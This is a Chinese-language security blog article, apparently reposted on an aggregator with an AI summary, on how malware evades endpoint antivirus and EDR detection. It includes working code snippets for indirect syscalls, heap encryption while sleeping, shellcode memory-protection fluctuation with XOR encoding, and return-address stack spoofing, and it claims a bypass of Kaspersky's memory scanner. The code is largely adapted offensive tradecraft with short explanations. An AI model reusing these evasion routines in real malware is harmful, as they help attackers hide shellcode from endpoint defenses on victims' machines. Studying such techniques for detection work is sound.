干杯Security 10月27日 18:31
终端对抗中的规避技术解析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入探讨了在终端对抗场景下,恶意软件如何规避各类检测机制。文章从静态分析规避、动态行为规避、内存扫描规避以及网络流量规避四个主要方面,详细介绍了检测原理和相应的规避技术。包括文件加密压缩、代码混淆、动态加载API、反沙箱、Unhook、Syscall、内存加密解密、堆栈欺骗等多种高级技巧。旨在帮助读者理解恶意软件的运作方式,并为安全防护提供思路。文章最后提出了对未来杀软发展趋势和对抗难点的展望。

📦 **静态文件规避技术** 涉及对文件本身的检测机制,如基于签名、启发式查杀、文件熵和元数据分析等。规避方法包括使用加密/压缩、代码混淆(如LLVM混淆、控制流平坦化)、字符串加密、动态加载Windows API(隐藏导入表)、降低文件熵、分离加载(远程拉取或突破隐写)、添加资源文件(签名、图标、版本属性)以及加壳等,以欺骗静态检测工具。

🛡️ **动态行为规避技术** 旨在绕过基于行为分析的检测,如沙箱、子进程监控、敏感操作检测、代码注入检测和API Hooking。规避技巧包括反沙箱(检测系统时间、内存大小、CPU核心数、文件名、磁盘大小等)、反虚拟机、Unhook(通过磁盘加载ntdll覆盖内存)、Syscall(Direct/Indirect syscall)以及内存加载PE文件(Inline-Execute-PE, BOF.NET)和进程断链等,以隐藏恶意行为。

🔍 **内存扫描规避技术** 主要应对内存扫描器对注入代码和可疑API调用的检测。核心策略包括利用睡眠(Sleep)函数进行内存加密和解密(Heap Encryption),通过Hook Sleep函数在睡眠期间加密堆内存,以及Shellcode Fluctuation(睡眠期间翻转内存权限,如RW/RX/NA)来规避检测。此外,线程堆栈欺骗(Spoofing Thread Stack Return Address)通过覆盖返回地址来隐藏Shellcode的存在,显著提升了规避效果。

🌐 **网络流量规避技术** 侧重于隐藏通信特征,以绕过基于IP、域名或流量特征的检测。常用的方法包括使用HTTPS加密通信、利用云函数作为跳板、域前置(Domain Fronting)技术,以及更改C2服务器地址或使用Webshell等,以混淆和隐藏恶意通信流量。

原创 鬼屋女鬼 2023-11-07 16:03 江苏

终端对抗向的技巧型文章。


 终端对抗向技巧型文章,闭门沙龙精华提炼版。





0x00 前言

终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!

0x01 Static Analysis Evasion(静态文件规避)

一、检测机制


二、规避技巧

    typedef int(WINAPI* pMessageBoxW)(  HWND    hWnd,  LPCTSTR lpText,  LPCTSTR lpCaption,  UINT    uType  );
    int main(){ pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA"); MyMessageBox(0, 0, 0, 0); return 0;}



    0x02 Dynamic Behavioral Evasion (动态行为规避)

    一、检测机制


    二、规避技巧

    Syscall:Direct syscall、Indirect syscall


      NtWriteVirtualMemory PROC    mov r10, rcx    mov eax, wNtWriteVirtualMemory    jmp QWORD PTR [sysAddrNtWriteVirtualMemory]NtWriteVirtualMemory ENDP
      UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
      wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;




      PE in Memory:内存加载

      进程断链:断掉父子进程链

      0x03 Memory Scanners Evasion (内存扫描规避)

      一、检测机制


      二、规避技巧

      关键部分代码,加密堆内存:
        static PROCESS_HEAP_ENTRY entry;VOID HeapEncryptDecrypt() {    SecureZeroMemory(&entry, sizeof(entry));    while (HeapWalk(currentHeap, &entry)) {        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);        }    }}


          Hook Sleep 函数

          定位内存中的shellcode

          睡眠期间翻转为RW

          睡眠结束翻转为RX

          无限循环,以此规避内存扫描

        关键部分代码:


        XOR加密:

          void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey){    uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
          auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4; for (size_t i = 0; i < bufSizeRounded; i++) { buf32[i] ^= xorKey; }
          for (size_t i = 4 * bufSizeRounded; i < bufSize; i++) { buf[i] ^= static_cast<uint8_t>(xorKey & 0xff); }}

          定位内存中的shellcode地址:
            bool isShellcodeThread(LPVOID address){    MEMORY_BASIC_INFORMATION mbi = { 0 };    if (VirtualQuery(address, &mbi, sizeof(mbi)))    {        //        // To verify whether address belongs to the shellcode's allocation, we can simply        // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.        //        if (mbi.Type == MEM_PRIVATE)        {            const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
            return ((mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE) || (mbi.Protect & expectedProtection)); } }
            return false;}


            加密和解密shellcode:
              void shellcodeEncryptDecrypt(LPVOID callerAddress){    if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)    {        if (!isShellcodeThread(callerAddress))            return;
              DWORD oldProt = 0;
              if (!g_fluctuationData.currentlyEncrypted || (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)) { ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, PAGE_READWRITE, &g_fluctuationData.protect );
              log("[>] Flipped to RW."); } log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");
              xor32( reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr), g_fluctuationData.shellcodeSize, g_fluctuationData.encodeKey );
              if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA) { // // Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE // and our previously set up vectored exception handler should catch invalid memory access, flip back memory // protections and resume the execution. // // Be sure to check out ORCA666's original implementation here: // https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285 //
              ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, PAGE_NOACCESS, &oldProt );
              log("[>] Flipped to No Access.\n"); } else if (g_fluctuationData.currentlyEncrypted) { ::VirtualProtect( g_fluctuationData.shellcodeAddr, g_fluctuationData.shellcodeSize, g_fluctuationData.protect, &oldProt );
              log("[<] Flipped back to RX/RWX.\n"); }
              g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted; }}

              效果:


              Bypass Kasperskey Memory Scanner:


                Hook Sleep 函数

                定位内存中的shellcode

                睡眠期间翻转为RW

                睡眠结束翻转为RX

                无限循环,以此规避内存扫描

              线程堆栈欺骗:欺骗线程堆栈返回地址

              默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode


              最简单的方法,直接用0覆盖返回地址,从而截断堆栈

              关键代码

                void WINAPI MySleep(DWORD _dwMilliseconds){    const register DWORD dwMilliseconds = _dwMilliseconds;
                // Perform this (current) thread call stack spoofing. PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress(); const register ULONG_PTR origReturnAddress = *overwrite;
                log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack..."); *overwrite = 0;
                log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
                // Perform sleep emulating originally hooked functionality. ::SleepEx(dwMilliseconds, false);
                // Restore original thread's call stack. log("[<] Restoring original return address..."); *overwrite = origReturnAddress;}

                效果对比:

                默认线程调用堆栈:


                欺骗后的线程调用堆栈:



                0x04 Network traffic Evasion(网络流量规避)

                一、检测机制


                二、规避技巧


                0x05 总结

                抛出沙龙上,交流提出的两个问题。

                逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!


                最后公众号后台回复终端对抗,获取作者联系方式哈。




                阅读原文

                跳转微信打开

                Fish AI Reader

                Fish AI Reader

                AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

                FishAI

                FishAI

                鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

                联系邮箱 441953276@qq.com

                相关标签

                终端对抗 安全 规避技术 恶意软件 Endpoint Security Evasion Techniques Malware Analysis Cybersecurity
                相关文章